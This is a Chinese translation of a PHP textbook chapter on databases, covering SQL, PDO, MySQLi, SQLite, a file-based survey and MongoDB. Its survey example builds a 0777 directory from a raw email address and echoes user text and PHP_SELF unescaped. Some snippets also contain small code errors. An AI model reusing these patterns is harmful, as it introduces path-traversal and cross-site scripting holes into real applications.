SQL 的语法分为两部分。第一部分是数据操作语言(DML),用于检索和修改现有数据库中的数据。DML 非常紧凑,只有四个操作或动词:SELECTINSERTUPDATEDELETE。用于创建和修改保存数据的数据库结构的 SQL 命令集称为数据定义语言,或 DDL。DDL 的语法没有像 DML 那样标准化,但由于 PHP 只是将您提供的任何 SQL 命令发送给数据库,您可以使用数据库支持的任何 SQL 命令。

注意

用于创建此样本图书馆数据库的 SQL 命令文件可在名为library.sql的文件中找到。

假设您有一个名为books的表,这条 SQL 语句将插入一行新数据:

INSERT INTO books VALUES (null, 4, 'I, Robot', '0-553-29438-5', 1950, 1);

此 SQL 语句插入一行新数据,但指定了具有值的列:

INSERT INTO books (authorid, title, ISBN, pub_year, available)
 VALUES (4, 'I, Robot', '0-553-29438-5', 1950, 1);

要删除所有 1979 年出版的书籍(如果有的话),我们可以使用这条 SQL 语句:

DELETE FROM books WHERE pub_year = 1979;

要将Roots的年份更改为 1983 年,请使用此 SQL 语句:

UPDATE books SET pub_year=1983 WHERE title='Roots';

要仅获取 1980 年代出版的书籍,请使用:

SELECT * FROM books WHERE pub_year > 1979 AND pub_year < 1990;

你还可以指定要返回的字段。例如:

SELECT title, pub_year FROM books WHERE pub_year > 1979 AND pub_year < 1990;

您可以发出将来自多个表的信息汇总的查询。例如,此查询将bookauthor表连接起来,让我们看到每本书的作者是谁:

SELECT authors.name, books.title FROM books, authors
 WHERE authors.authorid = books.authorid;

你甚至可以像这样简写(或别名)表名:

SELECT a.name, b.title FROM books b, authors a WHERE a.authorid = b.authorid;

有关 SQL 的更多信息,请参阅SQL in a Nutshell,第三版(O'Reilly),作者 Kevin Kline。

PHP 数据对象

PHP 网站对 PDO 有以下介绍:

PHP 数据对象(PDO)扩展定义了一个轻量级、一致的接口,用于在 PHP 中访问数据库。每个实现 PDO 接口的数据库驱动程序都可以将特定于数据库的特性公开为常规扩展函数。请注意,您不能仅使用 PDO 扩展执行任何数据库函数;您必须使用特定于数据库的 PDO 驱动程序来访问数据库服务器。

PDO 的其他独特功能包括:

  • 是一个本地 C 扩展

  • 利用最新的 PHP 7 内部功能

  • 使用结果集的缓冲读取数据

  • 作为基础提供常见的数据库功能。

  • 仍然能够访问特定于数据库的函数。

  • 可以使用基于事务的技术。

  • 可以与数据库中的大对象(LOBs)交互。

  • 可以使用带绑定参数的准备和可执行 SQL 语句。

  • 可以实现可滚动的游标。

  • 提供了SQLSTATE错误代码和非常灵活的错误处理能力。

由于这里涉及的功能有很多,我们只会触及其中一部分,以展示 PDO 可以有多么有益。

首先,介绍一下 PDO。它为几乎所有数据库引擎提供了驱动程序,而那些 PDO 未提供的驱动程序应通过 PDO 的通用 ODBC 连接进行访问。PDO 是模块化的,至少需要启用两个扩展才能激活:PDO 扩展本身和特定于您将进行接口的数据库的 PDO 扩展。请参阅在线文档)以设置连接到您选择的数据库的连接。例如,要在 Windows 服务器上为 MySQL 交互建立 PDO,只需将以下两行代码输入到您的php.ini文件中,并重新启动服务器:

extension=php_pdo.dll
extension=php_pdo_mysql.dll

PDO 库也是面向对象的扩展(正如您将在接下来的代码示例中看到的)。

建立连接

使用 PDO 的第一个要求是连接到所讨论的数据库,并将该连接保持在连接句柄变量中,如以下代码所示:

$db = new PDO($*`dsn`*, $*`username`*, $*`password`*);

$dsn代表数据源名称,另外两个参数是不言自明的。特别是对于 MySQL 连接,您会写如下代码:

$db = new PDO("mysql:host=localhost;dbname=library", "petermac", "abc123");

当然,您可以(应该)保持基于变量的用户名和密码参数,以便重用和灵活性原因。

与数据库交互

连接到数据库引擎并与要与之交互的数据库连接后,您可以使用该连接向服务器发送 SQL 命令。一个简单的UPDATE语句看起来像这样:

$db->query("UPDATE books SET authorid=4 WHERE pub_year=1982");

此代码仅更新图书表并释放查询。这允许您直接向数据库发送简单的 SQL 命令(例如UPDATEDELETEINSERT)。

使用 PDO 和准备语句

更典型的情况是,您将使用准备语句,分阶段或步骤地发出 PDO 调用。考虑以下代码:

$statement = $db->prepare("SELECT * FROM books");
$statement->execute();

// handle row results, one at a time
while($row = $statement->fetch()) {
 print_r($row);
 // ... or probably do something more meaningful with each returned row
}

$statement = null;

在这段代码中,我们首先“准备”SQL 代码,然后“执行”它。接下来,我们用while代码循环处理结果,最后通过将null赋给它来释放结果对象。在这个简单的示例中,这可能看起来并不那么强大,但是有其他可以与准备语句一起使用的功能。现在,考虑下面的代码:

$statement = $db->prepare("INSERT INTO books (authorid, title, ISBN, pub_year)"
 . "VALUES (:authorid, :title, :ISBN, :pub_year)");

$statement->execute(array(
 'authorid' => 4,
 'title' => "Foundation",
 'ISBN' => "0-553-80371-9",
 'pub_year' => 1951),
);

在这里,我们使用四个命名占位符(authoridtitleISBNpub_year)准备了 SQL 语句。在这种情况下,这些恰好是数据库中列的名称,但这只是为了清晰起见——占位符名称可以是任何对您有意义的内容。在执行调用中,我们用想要在此特定查询中使用的实际数据替换这些占位符。准备语句的一个优点是,您可以多次执行相同的 SQL 命令,并通过数组每次传递不同的值。您还可以使用位置占位符(实际上不命名它们),用? 表示,这是要替换的位置项。看看前一个代码的以下变化:

$statement = $db->prepare("INSERT INTO books (authorid, title, ISBN, pub_year)"
 . "VALUES (?, ?, ?, ?)");

$statement->execute(array(4, "Foundation", "0-553-80371-9", 1951));

这样做的效果是一样的,但代码更少,因为 SQL 语句的值区域不命名要替换的元素,因此在 execute 语句中,只需发送原始数据,而无需名称。您只需确保发送到准备语句的数据的位置。

处理事务

一些关系型数据库管理系统支持事务,在事务中,一系列数据库更改可以被提交(一次性应用)或回滚(丢弃,数据库中没有应用任何更改)。例如,当银行处理资金转账时,从一个账户取款并存入另一个账户必须同时发生——两者不能单独发生,两个操作之间也不应该有时间间隔。PDO 使用 try...catch 结构优雅地处理事务,例如 示例 9-1 中的这个。

示例 9-1. 使用 try...catch 代码结构
try {
 // connection successful
 $db = new PDO("mysql:host=localhost;dbname=banking_sys", "petermac", "abc123");
} catch (Exception $error) {
 die("Connection failed: " . $error->getMessage());
}

try {
 $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
 $db->beginTransaction();

 $db->exec("insert into accounts (account_id, amount) values (23, '5000')" );
 $db->exec("insert into accounts (account_id, amount) values (27, '-5000')" );

 $db->commit();
} catch (Exception $error) {
 $db->rollback();
 echo "Transaction not completed: " . $error->getMessage();
}

如果整个事务无法完成,那么它将不会完成,并且会抛出异常。

如果在不支持事务的数据库上调用 commit()rollback(),则这些方法将返回 DB_ERROR

注意

请确保检查您的底层数据库产品是否支持事务。

调试语句

PDO 接口提供了一种显示关于 PDO 语句的详细信息的方法,如果出现问题,这可能对调试非常有用。

$statement = $db->prepare("SELECT title FROM books WHERE authorid = ?)";

$statement->bindParam(1, "12345678", PDO::PARAM_STR);
$statement->execute();

$statement->debugDumpParams();

调用语句对象上的 debugDumpParams() 方法会打印有关调用的各种信息:

SQL: [35] SELECT title
 FROM books
 WHERE authorID = ?
Sent SQL: [44] SELECT title
 FROM books
 WHERE authorid = "12345678"
Params: 1
Key: Position #0:
paramno=0
name[0] ""
is_param=1
param_type=2

Sent SQL 部分仅在语句执行后显示;在此之前,只有 SQLParams 部分可用。

MySQLi 对象接口

PHP 最流行的数据库平台是 MySQL 数据库。如果你查看 MySQL 网站,你会发现有几个不同的 MySQL 版本可供使用。我们将看看自由发布版本,称为社区服务器。PHP 还有许多不同的接口可以访问这个数据库工具,所以我们将看看对象导向接口,称为 MySQLi,又称MySQL Improved 扩展。

最近,MariaDB 开始超越 MySQL 成为 PHP 开发者首选的数据库。按设计,MariaDB 与 MySQL 兼容,这意味着你可以安装 MariaDB,卸载 MySQL,并将你的 PHP 配置指向 MariaDB,可能不需要其他更改。

如果你对面向对象的接口和概念不是很熟悉,请确保在深入学习本节之前阅读第六章。

由于这种面向对象的接口已经内置到 PHP 的标准安装配置中(只需在 PHP 环境中激活 MySQLi 扩展),你只需实例化其类,如下面的代码所示:

$db = new mysqli(*`host`*, *`user`*, *`password`*, *`databaseName`*);

在这个例子中,我们有一个名为library的数据库,我们将使用虚构的用户名petermac和密码1q2w3e9i8u7y。实际使用的代码如下:

$db = new mysqli("localhost", "petermac", "1q2w3e9i8u7y", "library");

这样我们就可以在 PHP 代码中访问数据库引擎本身;我们将稍后特别访问表和其他数据。一旦这个类被实例化为变量$db,我们就可以使用该对象的方法来进行数据库工作。

生成一些代码插入新书到library数据库的简短示例会看起来像这样:

$db = new mysqli("localhost", "petermac", "1q2w3e9i8u7y", "library");

$sql = "INSERT INTO books (authorid, title, ISBN, pub_year, available)
 VALUES (4, 'I, Robot', '0-553-29438-5', 1950, 1)";

if ($db->query($sql)) {
 echo "Book data saved successfully.";
} else {
 echo "INSERT attempt failed, please try again later, or call tech support" ;
}

$db->close();

首先,我们将 MySQLi 类实例化为变量$db。接下来,我们构建我们的 SQL 命令字符串,并将其保存到名为$sql的变量中。然后我们调用类的 query 方法,同时测试其返回值以确定是否成功(TRUE),然后相应地注释到屏幕上。在这个阶段,你可能不想将内容echo到浏览器上,因为这只是一个例子。最后,我们在类上调用close()方法来清理和销毁类从内存中。

检索数据以进行显示

在你网站的另一个区域,你可能希望列出你的书籍清单,并显示它们的作者是谁。我们可以通过使用相同的 MySQLi 类,并处理从SELECT SQL 命令生成的结果集来实现这一点。有许多方法可以在浏览器中显示信息,我们将看一个例子来展示如何实现这一点。请注意,返回的结果是一个不同的对象,而不是我们首先实例化的$db。PHP 会为你实例化结果对象,并将其填充为任何返回的数据。

$db = new mysqli("localhost", "petermac", "1q2w3e9i8u7y", "library");
$sql = "SELECT a.name, b.title FROM books b, authors a WHERE 
a.authorid=b.authorid";
$result = $db->query($sql);

while ($row = $result->fetch_assoc()) {
 echo "{$row['name']} is the author of: {$row['title']}<br />";
}

$result->close();
$db->close();

在这里,我们使用 query() 方法调用,并将返回的信息存储到名为$result的变量中。然后我们使用结果对象的 fetch_assoc() 方法逐行提供数据,并将该单行存储到名为$row的变量中。只要有行要处理,这个过程就会继续。在那个while循环内,我们将内容输出到浏览器窗口。最后,我们关闭结果和数据库对象。

输出如下所示:

J.R.R. Tolkien is the author of: The Two Towers
J.R.R. Tolkien is the author of: The Return of The King
J.R.R. Tolkien is the author of: The Hobbit
Alex Haley is the author of: Roots
Tom Clancy is the author of: Rainbow Six
Tom Clancy is the author of: Teeth of the Tiger
Tom Clancy is the author of: Executive Orders...
注意

在 MySQLi 中最有用的方法之一是multi_query(),它允许您在同一语句中运行多个 SQL 命令。如果您想基于类似数据进行INSERTUPDATE语句,您可以在一个方法调用中完成所有操作。

当然,我们只是浅尝辄止 MySQLi 类的功能。如果您查阅其文档,您将看到该类别的广泛方法列表,以及适当主题领域内的每个结果类别的详细记录。

SQLite

SQLite 是一个紧凑、高性能(适用于小数据集)的数据库,正如其名字所示,它是轻量级的。安装 PHP 时,SQLite 即可立即投入使用,因此如果它符合您的数据库需求,务必详细了解一下。

SQLite 中的所有数据库存储都是基于文件的,因此无需使用单独的数据库引擎就可以完成。如果您试图构建一个数据库占用空间小且除了 PHP 之外没有其他产品依赖的应用程序,这可能非常有利。要开始使用 SQLite,您只需在代码中引用它。

SQLite 还提供了面向对象的接口,因此您可以使用以下语句实例化一个对象:

$db = new SQLiteDatabase("library.sqlite");

这条语句的好处在于,如果找不到指定位置的文件,SQLite 会为您创建它。继续使用我们的library数据库示例,用于在 SQLite 中创建作者表并插入示例行的命令可能看起来像示例 9-2。

示例 9-2. SQLite 库作者表
$sql = "CREATE TABLE 'authors' ('authorid' INTEGER PRIMARY KEY, 'name' TEXT)";

if (!$database->queryExec($sql, $error)) {
 echo "Create Failure - {$error}<br />";
} else {
 echo "Table Authors was created <br />";
}

$sql = <<<SQL
INSERT INTO 'authors' ('name') VALUES ('J.R.R. Tolkien');
INSERT INTO 'authors' ('name') VALUES ('Alex Haley');
INSERT INTO 'authors' ('name') VALUES ('Tom Clancy');
INSERT INTO 'authors' ('name') VALUES ('Isaac Asimov');
SQL; 
if (!$database->queryExec($sql, $error)) {
 echo "Insert Failure - {$error}<br />";
} else {
 echo "INSERT to Authors - OK<br />";
}
`Table` `Authors` `was` `createdINSERT` `to` `Authors` `-` `OK`
注意

在 SQLite 中,与 MySQL 不同,没有AUTO_INCREMENT选项。相反,SQLite 会使任何用INTEGERPRIMARY KEY定义的列成为自动递增列。当执行INSERT语句时,您可以通过为列提供值来覆盖此默认行为。

请注意,这些数据类型与我们在 MySQL 中看到的相当不同。请记住,SQLite 是一个精简的数据库工具,因此它在数据类型上非常“轻量级”;请参阅表 9-1 获取其使用的数据类型列表。

表 9-1. SQLite 中可用的数据类型

数据类型 解释
文本 将数据存储为NULLTEXTBLOB内容。如果将数字提供给文本字段,则在存储之前将其转换为文本。
数值 可以存储整数或实数数据。如果提供文本数据,SQLite 尝试将信息转换为数值格式。
整数 表现与数值数据类型相同。但是,如果提供实数类型的数据,则将其存储为整数。这可能会影响数据存储的准确性。
实数 表现与数值数据类型相同,但会将整数值强制转换为浮点表示。
None 这是一个万能的数据类型;它不偏向于任何基本类型。数据被完全按照提供的方式存储。

在示例 9-3 中运行以下代码以创建书籍表并将一些数据插入到数据库文件中。

示例 9-3. SQLite 库书籍表
$db = new SQLiteDatabase("library.sqlite");

$sql = "CREATE TABLE 'books' ('bookid' INTEGER PRIMARY KEY,
 'authorid' INTEGER,
 'title' TEXT,
 'ISBN' TEXT,
 'pub_year' INTEGER,
 'available' INTEGER,
)";

if ($db->queryExec($sql, $error) == FALSE) {
 echo "Create Failure - {$error}<br />";
} else {
 echo "Table Books was created<br />";
}

$sql = <<<SQL
INSERT INTO books ('authorid', 'title', 'ISBN', 'pub_year', 'available')
VALUES (1, 'The Two Towers', '0-261-10236-2', 1954, 1);

INSERT INTO books ('authorid', 'title', 'ISBN', 'pub_year', 'available')
VALUES (1, 'The Return of The King', '0-261-10237-0', 1955, 1);

INSERT INTO books ('authorid', 'title', 'ISBN', 'pub_year', 'available')
VALUES (2, 'Roots', '0-440-17464-3', 1974, 1);

INSERT INTO books ('authorid', 'title', 'ISBN', 'pub_year', 'available')
VALUES (4, 'I, Robot', '0-553-29438-5', 1950, 1);

INSERT INTO books ('authorid', 'title', 'ISBN', 'pub_year', 'available')
VALUES (4, 'Foundation', '0-553-80371-9', 1951, 1);
SQL;

if (!$db->queryExec($sql, $error)) {
 echo "Insert Failure - {$error}<br />";
} else {
 echo "INSERT to Books - OK<br />";
}

注意,我们可以同时执行多个 SQL 命令。我们也可以使用 MySQLi 来做到这一点,但您必须记住使用multi_query()方法;而在 SQLite 中,可以使用queryExec()方法来实现。在加载了一些数据到数据库后,请运行示例 9-4 中的代码。

示例 9-4. SQLite 选择书籍
$db = new SQLiteDatabase("c:/copy/library.sqlite");

$sql = "SELECT a.name, b.title FROM books b, authors a WHERE a.authorid=b.authorid";
$result = $db->query($sql);

while ($row = $result->fetch()) {
 echo "{$row['a.name']} is the author of: {$row['b.title']}<br/>";
}

上述代码产生以下输出:

J.R.R. Tolkien is the author of: The Two Towers
J.R.R. Tolkien is the author of: The Return of The King
Alex Haley is the author of: Roots
Isaac Asimov is the author of: I, Robot
Isaac Asimov is the author of: Foundation

SQLite 几乎可以做到与“更大”的数据库引擎一样多的功能——“lite”并不是指其功能,而是指其对系统资源的需求较低。当您需要一个更便携且对资源要求较少的数据库时,您应始终考虑使用 SQLite。

注意

如果您刚开始接触 Web 开发的动态方面,您可以使用 PDO 与 SQLite 进行接口交互。这样,您可以从轻量级数据库开始,并在准备好时逐步转向更强大的 MySQL 数据库服务器。

直接文件级别操作

PHP 在其庞大的工具集中有许多隐藏的小特性。其中一个经常被忽视的特性是其处理复杂文件的不可思议能力。当然,每个人都知道 PHP 可以打开文件,但它究竟能做些什么呢?考虑以下示例,突显了其真正的可能性范围。本书的一位作者曾被一位“没钱”的潜在客户联系,但希望开发一个动态网络调查。当然,作者最初向客户展示了 PHP 与 MySQLi 数据库交互的奇迹。然而,在听到当地 ISP 的月费用后,客户问是否有其他(更便宜)的方法来完成工作。事实证明,如果您不想使用 SQLite,可以使用文件来管理和操作少量文本以便稍后检索。我们将在这里讨论的功能在单独使用时并不算特别——实际上,它们确实是每个人可能都熟悉的基本 PHP 工具集的一部分,正如您可以在表 9-2 中看到的那样。

表 9-2. 常用的 PHP 文件管理函数

函数名 使用描述
mkdir() 用于在服务器上创建目录。
file_exists() 用于确定提供位置是否存在文件或目录。
fopen() 用于打开现有文件以供读取或写入(请查看正确使用的详细选项)。
fread() 用于将文件内容读取到 PHP 变量中以供使用。
flock() 用于在写入时对文件获取独占锁定。
fwrite() 用于将变量的内容写入文件。
filesize() 在读取文件时,用于确定一次读取多少字节。
fclose() 用于一旦文件的有用性结束后关闭文件。

有趣的部分在于将所有功能绑定在一起以实现您的目标。例如,让我们创建一个涵盖两页问题的小型网络表单调查。用户可以输入一些意见,并在以后的日期返回以完成调查,从他们离开的地方继续。我们将勾勒出我们小应用程序的逻辑,并希望您能看到它的基本前提可以扩展到完整的生产类型的使用。

我们首先要做的是允许用户随时返回此调查并提供额外的输入。为此,我们需要一个唯一的标识符来区分每个用户。一般来说,一个人的电子邮件地址是唯一的(其他人可能知道并使用它,但这涉及网站安全和/或控制身份盗窃的问题)。为了简单起见,在这里我们假设使用电子邮件地址是诚实的,不必理会密码系统。因此,一旦我们获得了用户的电子邮件地址,我们需要将该信息存储在与其他网站访问者不同的位置。为此,我们将为服务器上的每个访问者创建一个目录文件夹(当然,这假设您可以访问并具有适当权限的服务器位置来允许文件的读写)。由于访客的电子邮件地址是相对唯一的标识符,我们将简单地使用该标识符命名新的目录位置。一旦我们创建了一个目录(测试用户是否从上一次会话返回),我们将读取任何已经存在的文件内容,并在 <textarea> 表单控件中显示它们,以便访客可以查看他或她之前写过的内容(如果有的话)。然后,在表单提交时保存访客的评论,并继续下一个调查问题。示例 9-5 展示了第一页的代码(这里包含 <?php 标签,因为在列表中的某些位置它们被打开和关闭)。

示例 9-5. 文件级访问
session_start();

if (!empty($_POST['posted']) && !empty($_POST['email'])) {
 $folder = "surveys/" . strtolower($_POST['email']);

 // send path information to the session
 $_SESSION['folder'] = $folder;

 if (!file_exists($folder)) {
 // make the directory and then add the empty files
 mkdir($folder, 0777, true);
 }

 header("Location: 08_6.php");
} else { ?>
<html>
 <head>
 <title>Files & folders - On-line Survey</title>
 </head>

 <body bgcolor="white" text="black">
 <h2>Survey Form</h2>

 <p>Please enter your e-mail address to start recording your comments</p>

 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
 <input type="hidden" name="posted" value="1">
 <p>Email address: <input type="text" name="email" size="45" /><br />
 <input type="submit" name="submit" value="Submit"></p>
 </form>
 </body>
 </html>
<?php }

图 9-1 显示了要求访客提交电子邮件地址的网页。

调查登录界面

图 9-1. 调查登录界面

正如您所见,我们首先打开一个新的会话,以便将访客的信息传递给后续页面。然后我们测试确认代码中下方的表单是否已经提交,以及电子邮件地址字段是否有输入。如果测试失败,表单将简单地重新显示。当然,此功能的生产版本会发送错误消息告知用户输入有效文本。

一旦此测试通过(假设表单已正确提交),我们将创建一个$folder变量,其中包含我们要保存调查信息的目录结构,并将用户的电子邮件地址附加到其中;我们还将这个新创建的变量($folder)的内容保存到会话中以供以后使用。在这里,我们只是取出电子邮件地址并使用它(再次强调,如果这是一个安全站点,我们会采取适当的安全措施保护数据)。

接下来,我们要检查目录是否已经存在。如果不存在,我们使用mkdir()函数创建它。此函数接受路径和要创建的目录的名称作为参数,并尝试创建它。

注意

在 Linux 环境中,mkdir()函数有其他选项可以控制新创建的目录的访问级别和权限,因此如果适用于您的环境,请务必查阅这些选项。

在验证目录存在后,我们简单地将浏览器重定向到调查的第一页。

现在我们在调查的第一页(见图 9-2)上,表单已准备好使用了。

调查的第一页

图 9-2. 调查的第一页

然而,这是一个动态生成的表单,正如您在示例 9-6 中所看到的。

示例 9-6. 文件级访问,继续
<?php
session_start();
$folder = $_SESSION['folder'];
$filename = $folder . "/question1.txt";

// open file for reading then clean it out
$file_handle = fopen($filename, "a+");

// pick up any text in the file that may already be there
$comments = file_get_contents($filename) ;
fclose($file_handle); // close this handle

if (!empty($_POST['posted'])) {
 // create file if first time and then
 //save text that is in $_POST['question1']
 $question1 = $_POST['question1'];
 $file_handle = fopen($filename, "w+");

 // open file for total overwrite
 if (flock($file_handle, LOCK_EX)) {
 // do an exclusive lock
 if (fwrite($file_handle, $question1) == FALSE) {
 echo "Cannot write to file ($filename)";
 }

 // release the lock
 flock($file_handle, LOCK_UN);
 }

 // close the file handle and redirect to next page ?
 fclose($file_handle);
 header( "Location: page2.php" );
} else { ?>
 <html>
 <head>
 <title>Files & folders - On-line Survey</title>
 </head>

 <body>
 <table border="0">
 <tr>
 <td>Please enter your response to the following survey question:</td>
 </tr>
 <tr bgcolor=lightblue>
 <td>
 What is your opinion on the state of the world economy?<br/>
 Can you help us fix it ?
 </td>
 </tr>
 <tr>
 <td>
 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
 <input type="hidden" name="posted" value="1"><br/>
 <textarea name="question1" rows=12 cols=35><?= $comments ?></textarea>
 </td>
 </tr>

 <tr>
 <td><input type="submit" name="submit" value="Submit"></form></td>
 </tr>
 </table>
<?php } ?>

在这里,让我们突出几行代码,因为这是文件管理和操作真正发生的地方。在获取所需的会话信息并将文件名追加到$filename变量之后,我们就可以开始处理文件了。请记住,这个过程的目的是显示可能已保存在文件中的任何信息,并允许用户输入信息(或修改已输入的信息)。因此,在代码的顶部附近,您会看到以下命令:

$file_handle = fopen($filename, "a+");

使用文件打开函数fopen(),我们要求 PHP 为我们提供一个文件句柄,并将其存储在名为$file_handle的变量中。请注意,此处还向函数传递了另一个参数:a+选项。PHP 网站提供了这些选项字母的完整列表及其含义。a+选项使文件以读写方式打开,并将文件指针置于任何现有文件内容的末尾。如果文件不存在,PHP 将尝试创建它。查看接下来的两行代码,您会看到整个文件被读取(使用file_get_contents()函数)到$comments变量中,然后关闭文件:

$comments = file_get_contents($filename);
fclose($file_handle);

接下来,我们想看看此程序文件的表单部分是否已执行,如果是,我们必须保存输入到文本区域的任何信息。这一次,我们再次打开相同的文件,但使用w+选项,这会导致解释器只打开文件进行写入—如果文件不存在,则创建它,如果存在,则清空它。然后,文件指针被放置在文件的开头。本质上,我们想清空文件的当前内容,并用完全新的文本内容替换它。为此,我们使用fwrite()函数:

// do an exclusive lock
if (flock($file_handle, LOCK_EX)) {
 if (fwrite($file_handle, $question1) == FALSE){
 echo "Cannot write to file ($filename)";
 }
 // release the lock
 flock($file_handle, LOCK_UN);
}

我们必须确保这些信息确实保存到指定的文件中,因此我们在文件写入操作周围包裹了几个条件语句,以确保一切顺利进行。首先,我们尝试在问题文件上获得独占锁定(使用flock()函数);这将确保在我们操作文件时,没有其他进程可以访问该文件。写入完成后,我们释放文件上的锁定。这只是一种预防措施,因为文件管理是基于第一个网页表单中输入的电子邮件地址,并且每个调查都有自己的文件夹位置,因此除非两个人恰好使用相同的电子邮件地址,否则不应发生使用冲突。

正如你所见,文件写入函数使用$file_handle变量将$question1变量的内容添加到文件中。然后当我们完成后,我们简单地关闭文件,转到调查的下一页,如图 9-3 所示。

调查第二页

图 9-3. 调查第二页

正如你在例子 9-7 中所见,处理这个文件(称为question2.txt)的代码与前一个代码相同,除了文件名不同。

例子 9-7. 文件级访问,续
<?php
session_start();
$folder = $_SESSION['folder'];
$filename = $folder . "/question2.txt" ;

// open file for reading then clean it out
$file_handle = fopen($filename, "a+");

// pick up any text in the file that may already be there
$comments = fread($file_handle, filesize($filename));
fclose($file_handle); // close this handle

if ($_POST['posted']) {
 // create file if first time and then save
 //text that is in $_POST['question2']
 $question2 = $_POST['question2'];

 // open file for total overwrite
 $file_handle = fopen($filename, "w+");

 if(flock($file_handle, LOCK_EX)) { // do an exclusive lock
 if(fwrite($file_handle, $question2) == FALSE) {
 echo "Cannot write to file ($filename)";
 }

 flock($file_handle, LOCK_UN); // release the lock
 }

 // close the file handle and redirect to next page ?
 fclose($file_handle);

 header( "Location: last_page.php" );
} else { ?>
 <html>
 <head>
 <title>Files & folders - On-line Survey</title>
 </head>

 <body>
 <table border="0">
 <tr>
 <td>Please enter your comments to the following survey statement:</td>
 </tr>

 <tr bgcolor="lightblue">
 <td>It's a funny thing freedom. I mean how can any of us <br/>
 be really free when we still have personal possessions.
 How do you respond to the previous statement?</td>
 </tr>

 <tr>
 <td>
 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method=POST>
 <input type="hidden" name="posted" value="1"><br/>
 <textarea name="question2" rows="12" cols="35"><?= $comments ?></textarea>
 </td>
 </tr>

 <tr>
 <td><input type="submit" name="submit" value="Submit"></form></td>
 </tr>
</table>
<?php } ?>

这种文件处理可以持续进行,时间长短由你决定,因此你的调查可以无限延续。为了增加趣味性,你可以在同一页上询问多个问题,并简单地给每个问题分配一个独立的文件名。这里要指出的唯一独特项是,一旦提交了此页面并存储了文本,它将被重定向到一个名为last_page.php的 PHP 文件。这个页面不包含在代码示例中,因为它仅仅是感谢用户填写调查的页面。

当然,在几页之后,每页多达五个问题,你可能会发现自己有大量的单个文件需要管理。幸运的是,PHP 还有其他文件处理函数供你使用。例如,file()函数是fread()函数的替代品,它将文件的整个内容读取到一个数组中,每行一个元素。如果你的信息格式正确——每行以换行符\n结尾——那么你可以非常容易地将多个信息存储在单个文件中。当然,这也需要使用适当的循环控制来处理 HTML 表单的创建以及记录表单中的条目。

当涉及文件处理时,你还可以在 PHP 网站上查看更多选项。如果你访问“文件系统”,你会找到一个包含超过 70 个函数的列表——当然,这里讨论的函数也包括在内。你可以使用is_readable()is_writable()函数检查文件是否可读或可写。你可以检查文件权限、空闲磁盘空间或总磁盘空间,你可以删除文件、复制文件等等。归根结底,如果你有足够的时间和愿望,甚至可以编写一个完整的 Web 应用程序而不需要或使用数据库系统。

当有一天到来,这种情况很可能会发生,即你遇到一位客户并不想花大笔钱使用数据库引擎时,你可以提供一种替代方案。

MongoDB

我们将要看的最后一种数据库类型是 NoSQL 数据库。NoSQL 数据库因其在系统资源上的轻量级特性而备受青睐,更重要的是,它们不受传统 SQL 命令结构的限制。NoSQL 数据库也因同样两个原因而在移动设备如平板电脑和智能手机中变得越来越流行。

NoSQL 数据库世界的佼佼者之一就是 MongoDB。在这里我们只会浅尝 MongoDB 的表面,只是为了让你体验一下它的潜力。如需更详细的内容,请参阅《MongoDB 与 PHP》(O’Reilly)由 Steve Francia 编著。

关于 MongoDB,首先要理解的是它不是传统的数据库。它有自己的设置和术语。习惯与它一起工作会花费传统 SQL 数据库用户一些时间。表 9-3 试图与“标准”SQL 术语进行一些类比。

表 9-3. 典型的 MongoDB/SQL 对应关系

传统 SQL 术语 MongoDB 术语
数据库 数据库
表格 集合
文档。没有关联,不像数据库的“行”;相反,可以看作是数组。

在 MongoDB 范例中,没有确切等价的数据库行。在集合内部处理数据的最佳方式之一是将其视为多维数组,稍后我们将重新调整我们的 library 数据库示例时会看到。

如果你只是想在本地主机上尝试 MongoDB(推荐用于熟悉它),你可以使用诸如Zend Server CE之类的一体化工具来设置本地环境,并安装了 Mongo 驱动程序。你仍然需要从MongoDB 网站下载服务器本身,并按照说明为你自己的本地环境设置数据库服务器引擎。

一个非常有用的基于 Web 的工具,用于浏览 MongoDB 数据并操作集合和文档,是Genghis。只需下载项目并将其放入本地主机的自己文件夹中,然后调用 genghis.php。如果数据库引擎正在运行,它将被检测到并显示给你(见图 9-4)。

Genghis MongoDB web interface 示例

图 9-4. Genghis MongoDB web interface 示例

现在让我们来看一些示例代码。看看示例 9-8,看看 Mongo 数据库正在形成的开端。

示例 9-8. MongoDB 库
$mongo = new Mongo();
$db = $mongo->library;
$authors = $db->authors;

$author = array('authorid' => 1, 'name' => "J.R.R. Tolkien");
$authors->insert($author);

$author = array('authorid' => 2, 'name' => "Alex Haley");
$authors->insert($author);

$author = array('authorid' => 3, 'name' => "Tom Clancy");
$authors->save($author);

$author = array('authorid' => 4, 'name' => "Isaac Asimov");
$authors->save($author);

第一行创建了与 MongoDB 引擎的新连接,并创建了一个对象接口。接下来的行连接到 library “集合”;如果此集合不存在,Mongo 将为您创建它(因此在 Mongo 中不需要预先创建集合)。然后,我们使用 $db 连接到 library 数据库创建了一个对象接口,并创建了一个集合,用于存储我们的作者数据。接下来的四组代码将文档添加到 authors 集合中,使用了两种不同的方法。前两个示例使用 insert() 方法,后两个示例使用 save() 方法。这两种方法之间唯一的区别是,save() 方法会更新已存在的文档值,如果存在 _id 键的话(稍后详细讨论 _id)。

在浏览器中执行此代码,你应该会看到图 9-5 中显示的样本数据。正如你所见,一个名为 _id 的实体被创建并与插入的数据关联。这是自动分配给所有创建的集合的主键。如果我们想依赖这个键——除了显而易见的复杂性外——我们不必在前面的代码中添加自己的 authorid 信息。

作者 Mongo 文档数据示例

图 9-5. 作者 Mongo 文档数据示例

检索数据

数据存储后,我们现在可以开始查看访问它的方法。示例 9-9 展示了其中一种选项。

示例 9-9. MongoDB 数据选择示例
$mongo = new Mongo();
$db = $mongo->library;
$authors = $db->authors;

$data = $authors->findone(array('authorid' => 4));

echo "Generated Primary Key: {$data['_id']}<br />";
echo "Author name: {$data['name']}";

前三行代码与之前相同,因为我们仍然想连接到同一个数据库,并利用同一个集合(library)和文档(authors)。之后,我们使用 findone() 方法,将其传递给一个包含可用于查找我们想要的信息的唯一数据片段的数组——在本例中是 Isaac Asimov 的 authorid,即 4。我们将返回的信息存储到一个名为 $data 的数组中。

注意

作为一个很好的简化,您可以将 Mongo 文档中的信息视为基于数组的。

然后,我们可以根据需要使用该数组来显示文档返回的数据。以下是前面代码的结果输出。注意 Mongo 创建的主键大小。

Generated Primary Key: 4ff43ef45b9e7d300c000007
